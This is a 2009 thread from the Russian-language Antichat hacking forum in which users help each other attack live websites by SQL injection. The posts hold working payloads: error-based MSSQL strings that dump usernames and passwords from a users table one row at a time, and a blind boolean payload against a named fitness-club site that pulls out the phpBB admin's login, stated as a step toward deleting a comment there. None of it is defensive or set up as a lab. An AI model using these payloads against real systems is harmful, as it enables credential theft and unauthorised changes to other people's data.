ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

06.02.2009, 18:29
|
|
Постоянный
Регистрация: 29.09.2008
Сообщений: 553
Провел на форуме: 2584134
Репутация:
519
|
|
$p01nt,
http://www.site.ru/index.php?id=1+or+1=(SELECT+TOP+1+cast(USERNAME+as +nvarchar)%2B%27%3A%27%2Bcast(USERPASSWORD+as+ nvarchar)+from+DD_Users)--
Это выведит даные из USERNAME и USERPASSWORD
А на счет перебора, я хз...возможно там только один юзер...
|
|
|

06.02.2009, 18:32
|
|
Участник форума
Регистрация: 19.02.2008
Сообщений: 186
Провел на форуме: 584540
Репутация:
96
|
|
Дык я уже написал вывод, нужен именно перебор!! Там 100% 860 юзеров 
Как же все таки перебрать?
|
|
|

06.02.2009, 18:33
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.12.2006
Сообщений: 195
Провел на форуме: 14023893
Репутация:
2163
|
|
select username from dd_users where username not in (select top 1(2,3,..,n) username from dd_users)
|
|
|

06.02.2009, 18:45
|
|
Участник форума
Регистрация: 19.02.2008
Сообщений: 186
Провел на форуме: 584540
Репутация:
96
|
|
l1ght, обьясни пожалуйста команду и если можно на моем примере.
|
|
|

06.02.2009, 18:51
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.12.2006
Сообщений: 195
Провел на форуме: 14023893
Репутация:
2163
|
|
2
1+or+1=(select top 1 convert(char,username%2b';'%2buserpassword) from dd_users where username not in (select top 1 username from dd_users))
3
1+or+1=(select top 1 convert(char,username%2b';'%2buserpassword) from dd_users where username not in (select top 2 username from dd_users))
4
1+or+1=(select top 1 convert(char,username%2b';'%2buserpassword) from dd_users where username not in (select top 3 username from dd_users))
and so on
/add Велемир, если про:
но работают условия типа 1+and+1
а выражение 1%2band%2b1=1 - нет
видимо модреврайт on)
Последний раз редактировалось l1ght; 06.02.2009 в 19:11..
|
|
|

06.02.2009, 18:52
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме: 1469161
Репутация:
142
|
|
Никто не поможет чтоли ?
|
|
|

06.02.2009, 19:03
|
|
Участник форума
Регистрация: 19.02.2008
Сообщений: 186
Провел на форуме: 584540
Репутация:
96
|
|
Сформировал запрос под свой url:
+or+1=(select Email from EmailTable where Email not in (select top 2 Email from EmailTable))--
выдает:
Microsoft OLE DB Provider for SQL Server error '80004005'
Subquery returned more than 1 value. This is not permitted when the subquery follows =, !=, <, <= , >, >= or when the subquery is used as an expression.
/xxx/xxx.asp, line 156
|
|
|

06.02.2009, 20:10
|
|
Участник форума
Регистрация: 27.10.2008
Сообщений: 215
Провел на форуме: 810079
Репутация:
90
|
|
Возможно ли в php-инъекции как-нибудь вывести содержимое директории, а не файла?
|
|
|

06.02.2009, 20:20
|
|
Новичок
Регистрация: 06.02.2009
Сообщений: 2
Провел на форуме: 1799
Репутация:
0
|
|
Загадочный SQL inj
Вот такой SQL inj
http://www.moscowfitness.ru/find.php?cname=bebebe'
Долго не мог подобрать не одной таблицы, а потом попробовал вот так
http://www.moscowfitness.ru/find.php?cname=bebebe' UNION select 1 FROM CLUBS/*
и удивился.
Вышло следующее
Код:
select count(a.CL_ID) as total from CLUBS a where a.CL_DAY_EXPIRES >= now() and lower(a.CL_NAME) like 'bebebe' union select 1 from clubs/*%' group by a.CL_ID
MYSQL заявил, что "Table 'db10002m.clubs' doesn't exist"
Как такое может быть? Для первой части запроса таблица CLUBS есть, а для второй уже нет.
Или это так приведение к нижнему регистру влияет?
p.s. Глобальная задача найти таблицу с комментариями и удалить один из комментариев.
|
|
|

06.02.2009, 21:55
|
|
Постоянный
Регистрация: 11.10.2007
Сообщений: 406
Провел на форуме: 7215020
Репутация:
1423
|
|
Сообщение от new_daemon
Как такое может быть?
Должно быть таблица clubs находится в другой бд.
http://www.moscowfitness.ru/find.php?cname=bebebe'+or+1=if(ascii(substring((se lect+username+from+phpbb_users+limit+0,1),1,1))>=6 5,1,0)/*
Если я не намудрил с запросом, то первый символ логина админа форума - 'A'. Дальше сам )
//наверно дальше будет 'dmin' ^^
Хеши лежат в колумне user_password
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|